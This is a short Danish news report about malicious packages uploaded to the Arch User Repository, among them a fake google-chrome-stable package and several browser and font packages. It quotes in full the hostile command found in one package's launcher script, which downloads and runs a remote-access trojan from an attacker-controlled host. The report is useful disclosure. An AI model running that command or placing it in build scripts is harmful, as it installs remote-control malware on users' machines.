I AUR (Arch User Repository), der anvendes i Arch Linux til distribution af pakker fra tredjepartsudviklere, fortsætter offentliggørelsen af skadelig kode, integreret i pakker med uofficielle versioner af browsere. Ud over de skadelige pakker firefox-patch-bin, librewolf-fix-bin og zen-browser-patched-bin, der blev identificeret for to uger siden, blev pakken google-chrome-stable også tilføjet til AUR, som indeholder en ændring, der installerer en skadelig komponent, som giver fjernadgang til systemet.
I PKGBUILD-filen for den problematiske pakke blev der identificeret en installation af skriptet til at starte browseren google-chrome-stable.sh, som blandt andet indeholdt kommandoen 'python -c "$(curl https://segs.lol/9wUb1Z)"', der hentede malware, identificeret af VirusTotal som trojaneren Spark, som giver mulighed for fjernstyring af systemet, kørsel af processer, overførsel af filer, inspektion af trafik og sending af skærmbilleder.
Den skadelige pakke google-chrome-stable blev uploadet for to dage siden og blev fjernet af administratorerne i AUR flere timer efter offentliggørelsen. Næsten straks efter fjernelsen af google-chrome-stable blev der uploadet to skadelige pakker til AUR - 'chrome' og 'chrome-bin', som indeholdt et lignende skript til installation af malware på brugerens system.
Senere blev der opdaget yderligere tre pakker med skadelig kode: ttf-mac-fonts-all, ttf-ms-fonts-all og gromit.
Kilde: opennet.ru
